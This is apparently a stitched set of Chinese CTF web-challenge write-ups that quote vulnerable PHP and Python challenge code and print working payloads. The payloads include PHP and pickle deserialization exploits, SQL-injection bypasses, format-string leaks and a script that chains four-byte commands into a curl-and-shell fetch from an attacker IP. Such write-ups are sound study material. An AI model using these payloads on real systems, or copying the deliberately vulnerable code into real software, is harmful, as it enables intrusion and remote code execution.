?time=Y或者?time=2020
\
就行了(orzzzzzzzzzz数据库名:trick
表名:admin,content
列名:id,username,passwd,url,id,content,createtime
admin表内容:
username:admin
password:20200202goodluck //goodluck个锤子
url:/eGlhb2xldW5n
eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php
class trick{
public $gf;
public function content_to_file($content){
$passwd = $_GET['pass'];
if(preg_match('/^[a-z]+\.passwd$/m',$passwd))
{
if(strpos($passwd,"20200202")){
echo file_get_contents("/".$content);
}
}
}
public function aiisc_to_chr($number){
if(strlen($number)>2){
$str = "";
$number = str_split($number,2);
foreach ($number as $num ) {
$str = $str .chr($num);
}
return strtolower($str);
}
return chr($number);
}
public function calc(){
$gf=$this->gf;
if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){
eval('$content='.$gf.';');
$content = $this->aiisc_to_chr($content);
return $content;
}
}
public function __destruct(){
$this->content_to_file($this->calc());
}
}
unserialize((base64_decode($_GET['code'])));
?>
include("../conn.php");
if(empty($_SESSION['login'])){
die('请登录!');
}
if(isset($_GET['url'])){
$url = $_GET['url'];
$parts = parse_url($url);
if(empty($parts['host']) || $parts['host'] != 'localhost') {
die('请从本地访问');
}
if(!preg_match("/flag|fl|la|ag|fla|lag|log/is", $parts['path'])){
readfile($url);
}else{
die('不要搞这些奇奇怪怪的东西。');
}
}
?>
include('conn.php');
error_reporting(0);
$time = date($_GET['time']);
$sql = "select * from `content` where `createtime` = '$time' ";
$r = $conn->query($sql);
$content = $r->fetch_array(MYSQL_ASSOC);
?>
eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php
文件里有一个反序列化+无字母代码执行,给contents赋值flag
(还有个检查pass参数的,那就是为出题而出题了>>> a = '/TMP/../FLAG'
>>> s = ''
>>> for i in a:
... s+=str(ord(i))
...
>>> print(s)
47847780474646477076657
$tmp = new trick();
$tmp->gf='~'.(~'478477804746464770766571');
echo serialize($tmp);
echo "
";
echo base64_encode(serialize($tmp));
code=Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czoyNToifsvIx8vIyMfPy8jLycvJy8jIz8jJycrIziI7fQ &pass=a.passwd%0a20200202
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __repr__(self):
return f'Animal(name={self.name}, category={self.category})'
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
print(name)
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()
@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')
if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return "result={}\npickle_data={}\ngiveflag={}\n".format(result, pickle_data, correct)
except Exception as e:
print(repr(e))
return "Something wrong"
secret
的属性被覆盖\x80\x03
c__main__\nsecret\nN(S'name'\nS'aaa'\nd\x86b
c__main__\nsecret\nN(S'category'\nS'bbb'\nd\x86b
c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00aaaq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00bbbq\x06ub.
core
文件夹下的只有管理员才能有权限访问,在本地调试了一下,发现更新签名处有一处利用点,于是构造payload:|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:4:"wuhu";}
core
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#hint : core/clear.php
$sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}
} else {
highlight_file(__FILE__);
}
} else {
die('只有管理员才能看到我哟');
}
考点是四字节getshell和data协议的利用
四字节getshell参考hitcon2017
data协议用compress.zlib://data:@127.0.0.1/plain;base64,
解题payload(python2
import requests as r
from time import sleep
import random
import hashlib
import base64
#
shell_ip = ''
ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2))for i in shell_ip.split('.')])
pos0 = 'e'
pos1 = 'h'
pos2 = 'g'
payload = [
'>dir',
'>%s\>' % pos0,
'>%st-' % pos1,
'>sl',
'*>v',
'>rev',
'*v>%s' % pos2,
'>p',
'>ph\\',
'>1.\\',
'>\>\\',
'>%s\\' % ip[8:10],
'>%s\\' % ip[6:8],
'>%s\\' % ip[4:6],
'>%s\\' % ip[2:4],
'>%s\\' % ip[0:2],
'>\ \\',
'>rl\\',
'>cu\\',
'sh ' + pos2,
'sh ' + pos0,
]
tmp = '''POST /core/ HTTP/1.1
Host: http://121.36.222.22:88
Content-Length: 77
Pragma: no-cache
Cache-Control: no-cache
Origin: http://121.36.222.22:88
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://121.36.222.22:88/core/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7
Cookie: PHPSESSID=1d2e6a8747522dab247fccdeb1283a75
Connection: close
url=compress.zlib%3A%2F%2Fdata%3A%40127.0.0.1%2Fplain%3Bbase64%2C{}
'''
# |O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:4:"ssss";}
# rm * cm0gKg==
import hackhttp
hh = hackhttp.hackhttp()
for i in payload:
print(base64.b64encode(i).replace('+',"%2b").replace("=","%3D"))
data = tmp.format(base64.b64encode(i).replace('+',"%2B").replace("=","%3D"))
code, head, html, redirect, log = hh.http('http://121.36.222.22:88/core/', raw=data)
print html
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
$begin = "The number you want: ";
extract($_GET);
if($head == ''){
die('Where is your head?');
}
if(preg_match('/[A-Za-z0-9]/i',$head)){
die('Head can\'t be like this!');
}
if(preg_match('/log/i',$url)){
die('No No No');
}
if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
die('Don\'t use strange protocol!');
}
$funcname = $head.'curl_init';
$ch = $funcname();
if($ch){
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
}
else{
$output = 'rua';
}
echo sprintf($begin.'%d',$output);
}
else{
show_source(__FILE__);
}
head=\ 能正常curl
begin=%1$s 使输出结果有回显
url=http://127.0.0.1:8080
刚开始的时候有被迷惑,最后别人提醒才发现是python写的api
用到的有{file}
,所以猜测存在格式化字符串漏洞
构造payload?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file={file.__class__.__init__.__globals__}%26vipcode=0
再构造payload,读取vip的属性{file.__class__.__init__.__globals__[vip].__init__.__globals__}
此时本以为能直接尝试读取flag,目录是fl4g_1s_h3re_u_wi11_rua
,但是回显:目录是一个秘密目录
于是先读一下源码:/app/base/vip.py
和/app/base/readfile.py
可见对fl4g
进行了过滤,想到了用格式化字符串截取一个f
出来:payload{file.__class__.__init__.__globals__[__name__][9]}
但是依然报错,再次审计源码,发现已经换成了{vipfile}
,所以换成{vipfile.__class__.__init__.__globals__[__name__][9]}
即可
$sandbox = '/var/www/html/sandbox/' . md5("wdwd" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_REQUEST['cmd'])) {
@eval($_REQUEST['cmd']);
}
highlight_file(__FILE__);
给每个用户建立一个自己的文件夹
然后切换到自己的文件夹目录下
可以传入cmd
进行代码执行
传入cmd=phpinfo();
,查看phpinfo相关信息
禁用了能执行系统命令的函数
php uaf apache
pwn("uname -a")
改为pwn($_GET['pass'])
copy("http://ip/1.txt","/tmp/233.php")
因为在自己的文件夹下会被定时删除?cmd=include("/tmp/233.php");&pass=ls /
进行命令执行,查看目录?cmd=include("/tmp/233.php");&pass=/readflag
,读取flagrdd rdd
,就可以登录,有一个flag界面,但是点击显示You don't have permission to
源码泄露直接拿到flag
注册的用户也有等级之分哦
flag.php里没有flag!!!
源码应该看一下
注册的时候,应该注册一个高等级的
flag.php里绝对有flag
但是题目没有给出源码,就尝试看一下html源码
在注册界面中发现有type参数,并且有的提示
F12修改元素,提交一下(也可以bp抓包改),注册一个高等级的用户
再用新的用户登陆,即可访问flag界面
有个搜索框,猜测存在注入
输入1,回显:There is no flag............
输入1’ or 1=1#,回显There is flag!
判断存在盲注
脚本跑出数据库名:ctf-2
在跑其他数据时,发现出了点问题,经过一番fuzz后,得出select和from需要双写绕过
接下来继续构造payload读表名,列名
表名:admin,fl4g,jd,user
列名:username,pwd,qq,flag,number,submission_date,shifumoney,money,truemoney,zhuangtai,bangding,beizhu,username,pwd,tupian
base2 = "flag=1'or ascii(substr((selselectect flag frfromom fl4g),{},1))>{}%23"
只跑出了一半的flag,但是前半段给出了提示Rogue-MySql-Server
,搜索一下发现存在任意文件读取漏洞。
找不到利用点,这时想到了前面扫到的admin.html,也是一个登陆框
在刚刚的盲注中,爆出的有个admin表,于是报下内容,得出用户名和密码:admin e2ecea8b80a96fb07f43a2f83c8b0960
,密码MD5解密一下是:whoamiadmin
登陆后,跳转到admin.php,发现可以利用Rogue-MySql-Server
的洞
在网上找了下脚本,github有开源的,但是不知道为什么读不出来,于是自己找了个野脚本,修改端口,修改要读的文件为flag.php(前面提示的flag.php不可能有flag,所以flag.php肯定有flag
最后的结果如下
flag{Rogue-MySql-Server-is-nday}
// ...
$pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx');
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
$stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
$stmt->execute();
$result = $stmt->fetchAll();
if (count($result) > 0) {
if ($result[0]['username'] == 'admin') {
include('flag.php');
exit();
// ....
admin '-0-'
登陆就回显flag了